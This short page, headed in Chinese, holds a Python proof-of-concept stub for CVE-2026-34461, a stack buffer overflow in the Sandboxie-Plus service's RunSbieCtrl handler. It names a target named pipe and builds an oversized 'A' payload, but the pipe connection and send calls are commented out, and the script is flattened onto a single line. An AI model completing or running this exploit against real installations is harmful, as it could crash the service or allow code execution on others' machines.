CVE-2026-34461 Sandboxie-Plus栈缓冲区溢出漏洞

import ctypes import struct # PoC for CVE-2026-34461: Sandboxie-Plus Stack Buffer Overflow # This script demonstrates the concept of overflowing the stack buffer # in the SbieIniServer RunSbieCtrl handler. # Constants based on vulnerability description PIPE_NAME = r"\\.\pipe\SandboxieControlPort" # Actual pipe name may vary, needs reverse engineering BUFFER_SIZE = 128 # Size of the target WCHAR buffer OVERFLOW_SIZE = 500 # Size of payload to trigger overflow def trigger_overflow(): print("[*] Attempting to connect to Sandboxie service pipe...") # In a real scenario, we would use CreateFile to connect to the named pipe. # handle = ctypes.windll.kernel32.CreateFileW(PIPE_NAME, 0x40000000, 0, None, 3, 0, None) # Construct the malicious payload # The handler expects a specific message structure, usually a header followed by data. # We send a large amount of 'A's to overflow the 128 WCHAR buffer. payload = b"A" * OVERFLOW_SIZE # The MSGID_SBIE_INI_RUN_SBIE_CTRL message handler logic # copies payload directly into a fixed stack buffer. print(f"[*] Sending payload of size {len(payload)} bytes...") print("[*] If successful, the SbieSvc service should crash or execute code.") # WriteFile(handle, payload, ...) if __name__ == "__main__": trigger_overflow()